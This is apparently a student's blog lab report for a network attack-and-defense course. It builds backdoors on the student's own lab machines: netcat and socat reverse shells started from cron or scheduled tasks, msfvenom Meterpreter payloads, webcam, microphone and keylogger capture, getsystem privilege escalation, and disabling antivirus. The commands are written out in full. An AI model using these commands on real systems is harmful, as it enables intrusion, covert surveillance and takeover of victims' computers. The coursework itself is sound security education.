• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
fansileaaa
博客园    首页    新随笔    联系   管理    订阅  订阅
20232324 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1实验目的


  • 掌握基础网络工具的Shell获取方法

  • 掌握MSF工具的payload生成与应用能力

  • 掌握主机敏感信息获取与提权技术

  • 掌握Shellcode注入与漏洞利用技术

1.2实验内容


  • 使用netcat获取主机操作Shell,cron启动某项任务

  • 使用socat获取主机操作Shell, 任务计划启动

  • 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.3基础问题回答


  • 例举你能想到的一个后门进入到你系统中的可能方式?

最常见的可能是通过“伪装文件”不小心打开导致的。比如在网上下载软件、游戏安装包,或者接收别人发来的压缩包、文档时,里面可能藏了带后门的程序。比如下载的“免费办公软件.exe”,看起来是正常安装程序,双击运行后,表面上软件能正常用,但后台已经悄悄装了后门,让别人能远程连接你的电脑。还有可能是浏览不明网站时,弹出“你的浏览器需要更新”“电脑存在风险”之类的提示,点进去下载的“修复工具”其实就是带后门的程序,一点运行就会让系统被入侵。

  • 例举你知道的后门如何启动起来(win及linux)的方式?

Windows 系统

  • 开机自启文件夹放后门快捷方式,开机就跟着自动跑;
  • 任务计划设定时,隐藏窗口执行后门,不易发现;
  • 跟 QQ、微信等常用软件捆绑,装正常软件时后门偷偷启动。

Linux 系统

  • crontab -e 编定时任务,系统按时自动跑后门;
  • 后门命令写进 /etc/rc.local 或启动脚本,开机就执行;
  • 注册成系统服务并设开机自启,像正常进程,难分辨。
  • Meterpreter有哪些给你映像深刻的功能?

Meterpreter 可以自动生成恶意代码,还含有多个漏洞模块,直接远程控目标电脑,调取摄像头、录屏、记键盘等权限。

  • 如何发现自己有系统有没有被安装后门?
  • 打开系统进程管理工具,Windows 用 Ctrl+Shift+Esc 调出任务管理器,Linux 用 top 或 ps 命令,寻找不认识的进程,比如名字奇怪、占用 CPU 和内存过高,或者关闭后又自动出现的进程。
  • 查看系统开机启动相关设置,Windows 在任务管理器 “启动” 标签里找非自己安装却设为启用的程序,Linux 通过 crontab -l 查看定时任务、systemctl list-unit-files 查看系统服务,排查不是自己添加的自启项。
  • 关注系统日常使用中的异常情况,比如没开多少软件却突然变卡变慢,硬盘指示灯莫名闪烁,摄像头指示灯在未开视频时亮起,或者文件被莫名移动、删除、新增陌生文件。
  • 查看系统网络连接状态,Windows 在任务管理器 “性能 - 以太网” 里观察发送接收字节,没使用联网软件却有持续流量就需注意,也可用命令提示符输入 netstat -ano,查看是否有连接到陌生 IP 地址且端口号不常用的情况。
  • 检查系统账户列表,看是否有非自己创建的陌生账户,尤其是带有管理员权限的账户,同时留意系统权限是否有异常变化,比如某些文件或设置突然无法修改。

2.实验过程

2.1实验准备


  • 下载nact.exe
    0b55420012ca8519c88253289a212af2
  • 下载socat.exe
    5a8b6a3ef1f973a14c8f16ff7f1df6a2
  • 关闭Windows防火墙
    131efb419c10b1eb0c0e246b96299601
  • 关闭实时保护(Windows自带的杀毒的功能)
    d25ee5d1632b7bacbf399c6a622c5331

2.2使用netcat获取主机的Shell


1.查询主机和虚拟机IP

windows输入ipconfig,得到地址192.168.31.13

d50818ef922a97efa41f8307df3cd975

Linux输入ifconfig,得到地址192.168.81.132

image
2.主机监听端口,虚拟机主动连接并获取shell

①在本地启动 ncat 并进入监听状态,监听 2324 端口,等待其他客户端通过该端口建立连接

windows中输入ncat.exe -l -p 2324

-l:表示启用 监听模式(listen),即让 ncat 作为服务器端等待其他设备的连接。
-p 2324:-p 用于指定监听的 端口号,这里指定端口为 2324,即 ncat 会在本地的 2324 端口等待连接请求。

f331f68e88af98b5adcc5dcab0959cd6

②Kali 与 Windows 端的 ncat 建立连接后,会将 Kali 的 shell 通过该连接传递给 Windows 端,使得 Windows 端可以远程操作 Kali 的命令行

Kali中输入nc 192.168.31.13 2324 -e /bin/sh
此时回到windows中,就已经获取了Linux的shell

-e /bin/sh:-e参数用于指定连接建立后执行的程序,这里指定为/bin/sh(Linux 系统的 shell)

9171197bb612f55bb7e6f72ffa962ca4
image

③修改cron表

Kali中输入crontab -e
选择方法2进行编辑
输入35 * * * * nc 192.168.31.13 1324 -e /bin/sh

cron:
定时执行任务:在指定的时间、日期自动运行命令、脚本或程序
周期性任务:可以设置按分钟、小时、天、月、星期等周期重复执行
每个用户都有一个自己的 crontab 文件,用于存储该用户的任务计划。
35 * * * * nc 192.168.1.4 1324 -e /bin/sh #进入crontab文件后,insert 进入文件编辑模式后在文件末端输入,:wq! 保存并退出
- - - - -
| | | | |
| | | | +----- 星期几 (0 - 7) (星期天为0或7)
| | | +------- 月份 (1 - 12)
| | +--------- 日期 (1 - 31)
| +----------- 小时 (0 - 23)
+------------- 分钟 (0 - 59)
nc命令前面的意思是每个小时的04分执行操作(这里根据自己做实验的时间更改)

f12f26e08c337a0fcc0c29bfb5fb8dda
image
④修改定时任务,将信息写入文件

  • windows中依次输入sudo su whoami root
  • windows中输入
    5 * * * * echo "20232324" > /home/kali/tempfile20232324.txt" > /var/spool/cron/crontabs/root
  • windows中输入crontab -l
    下面那张图是修改的信息
    903dab60baecf5c2f8dd4b2ce1a87ea3
    53c9813421314917cfc7a92e0bce5cca

2.3使用 socat 获取主机 Shell,任务计划启动


win_ip:192.168.5.27
linux_ip:192.168.81.132

1.在 Windows 上开启 2324 端口监听,当其他设备(如另一台电脑)通过 TCP 连接到该端口时,会直接获得当前 Windows 主机的 CMD 命令行权限,可远程执行各种命令。

  • 在windows的cmd中进入socat目录,并输入socat.exe tcp-listen:2324 exec:cmd.exe,pty,stderr
  • 在kali中输入socat - tcp:192.168.5.27:2324
tcp-listen:2326:tcp-listen 表示创建 TCP 监听,:2324 是指定的端口号。
exec:cmd.exe:表示当有远程设备连接到 2326 端口时,自动执行 Windows 的命令行程序 cmd.exe。
pty:模拟一个伪终端,确保远程交互时命令行的输入输出格式正确。
stderr:将 cmd.exe 的错误输出也转发到网络连接中,让远程端能看到执行命令时的错误信息。

2.任务计划启动,win创建任务

Win+R 输入 compmgmt.msc
在系统工具中,打开任务计划程序,点击右侧的创建任务

  • 常规:任务名
  • 操作:新建操作,程序或脚本处选择D:\appdata\socat\socat\socat.exe
  • 参数 :tcp-listen:2324 exec:cmd.exe,pty,stderr
  • 触发器:新建触发器,和cron一样根据做实验时间选择开始时间。
    其他保持默认即可
    c2b53a073e2097652317634263c533ed

3.在kali中等待任务触发

设置的执行任务时间到了之后,会弹出cmd框

5ca6df630e24dfbb22eeee6cf37309a7

在kali中输入socat - tcp:192.168.5.27:2324(windows_ip)后就可以获得主机的shell了
e6fd5b875724ec7eb54a13c56994dd61

2.4使用MSF meterpreter生成后门


win_ip: 192.168.5.14
Linux_ip: 192.168.81.132
1.生成后门
生成一个名为 20232324_backdoor.exe 的 Windows 可执行文件,当该文件在目标 Windows 主机上运行时,会主动连接Kali,建立 Meterpreter 会话,使攻击机获得对目标主机的远程控制权限。

在kali中输入 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f exe > 20232324backdoor.exe
82567681bded0e33af5db80e30823773

msfvenom:Metasploit 框架自带的工具,用于生成各种平台的恶意 payload。
-p:指定要生成的 payload 类型。
windows/meterpreter/reverse_tcp:这是一个针对 Windows 系统的 Meterpreter 反向 TCP payload。
Meterpreter:是 Metasploit 提供的一种高级交互式 shell,支持文件操作、进程控制、屏幕截图等多种功能。
reverse_tcp:表示 “反向连接”,即目标主机运行后门后,会主动发起 TCP 连接到kali。

2.将20232324_backdoor.exe传送到主机上

在windows中输入 ncat.exe -l -p 410 > “D:\20232324backdoor.exe”
在kali中输入 nc 192.168.5.14 410 < 20232324backdoor.exe
9215d1616c1ddbcae28608dc1683d331
e19694f93497fd8889cd79901c8f1847

3.打开Metasploit框架的主要控制台界面,对监听模块进行配置

在kali中输入msfconsole
输入以下内容
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.81.132
set LPORT 2324
exploit

use exploit/multi/handler加载 Metasploit 中的 multi/handler 模块,这是一个通用的监听模块,用于接收各种类型的反向连接。
set payload windows/x64/meterpreter/reverse_tcp设置要监听的攻击载荷类型。
exploit启动监听

96695a8865d7827d45d2aa5c8bce1213

4.在主机上运行后门文件

在windows输入20232324backdoor.exe
在kali上输入dir

e3a44845274b41868964ec4fa6d99b23
0185f9cebbc475f7279e30d48f2129cc

2.5使用MSF meterpreter生成获取目标主机资源的后门,并尝试提权


1.在MSF框架的Meterpreter会话中输入常用的后渗透命令,进一步获取信息或实施监控。

在kali中输入

  • record_mic 录制音频
  • webcam_snap 摄像头
  • keyscan_start 捕获键盘输入
  • keyscan_stop 手动停止
  • keyscan_dump 提权

669b24543c5188b7c0a31b7f22e977f1
5fa57a536f2d33a4ae77cf63efa122b8
2.查看当前会话的用户身份
确认 Meterpreter 会话在目标 Windows 系统上运行的用户权限

在kali中输入getuid

a1cb83a422e18ffb76deeb2d99e06893

3.提权到系统最高权限
通过 MSF 内置的提权技术,将当前用户权限提升到系统级权限

在kali中输入getsystem

77b25352d927e3bc1fdbb87b36dd858f

4.确认会话状态

输入background
输入sessions -l

background:不关闭当前 Meterpreter 会话,回到 msfconsole 主界面,方便执行其他 MSF 模块 或 命令。
sessions -l:列出所有活跃的 Meterpreter 会话。

d44e2c4e2157ce842f747602db0912bc
581bf04fd05d232c1cb91eec089309ec

会话 ID 为 1;
类型是 meterpreter x64/windows;
Information 列显示 NT AUTHORITY\SYSTEM,验证了 getsystem 提权成功;
Connection 列显示连接的 IP / 端口(攻击机 192.168.81.132:2324 → 目标机 192.168.81.1:32989)。

2.6MSF 生成 shellcode 注入 pwn1


1.使用msf生成shellcode,注入pwn
生成一个伪装成合法程序的 Linux 恶意 ELF 可执行文件,当该文件在目标 Linux 系统上运行时,会主动连接指定的攻击机,建立 Meterpreter 交互式会话,使攻击机获得对目标系统的远程控制权限。

在kali中输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=8888 -x /home/liuzimo/pwn -f elf -o 202324pwn1020

5ac866b0e10daf108dc148bd5a7b2656

2.为202324pwn1020赋予可执行权限
让文件 202324pwn1020 对 “所有用户” 可执行。

在kali中输入sudo chmod a+x 202324pwn1020

a:是 “all” 的缩写,代表所有用户。
+:代表 “添加权限”。
x:是 “execute” 的缩写,代表执行权限。

4ddfa983ed88d811307c5d8086ebf3ab

3.进行监听配置
另起一个shell,输入msfconsole,再次进行监听配置,输入命令如下:

  • use exploit/multi/handler
  • set payload linux/x86/meterpreter/reverse_tcp
  • set LHOST 192.168.81.132
  • set LPORT 8888
  • exploit

9b05daf1be858e1358636e65ba0242cb

4.运行202324pwn1020
回到原来的shell,运行202324pwn1020

输入./202324pwn1020

ea46cc06f33f609e50b141f7ee66554a

3.问题及解决方案

  • 问题1:在使用socat时,创建任务后并未定期执行任务
  • 问题1解决方案:原因我没有搞懂命令的具体含义,应明确 “谁是发送端、谁是接收端”,当 Kali 作为发送端时,Windows 未提前开启监听,或 Windows 作为接收端时,Kali 未正确发起传输,导致两端连接失败。
  • 问题2:无法传输后门程序
  • 问题2解决方案:应关闭电脑防病毒和细菌的实时保护

4.学习感悟、思考等

本次实验我掌握了ncat、socat的基础使用方法。此外还感受了MSF工具的强大能力😍,能自己生成恶意 payload 并伪装,通过模块建立 Meterpreter 会话,支持截图、摄像头、提权等控制,实现对目标系统的远程攻击与渗透。在实验过程中我遇到了许多问题,但导致这些问题的根本原因是在实践之前,没有弄懂理论。比如,我在参考往届学长学姐实验报告时,直接复制了他的错误命令,耽误了特别多时间。😠😡

参考资料

  • 网络与系统攻防技术》实验二实验报告
  • Exp2-后门原理与实践
posted on 2025-10-20 11:49  20232324刘子墨  阅读(16)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3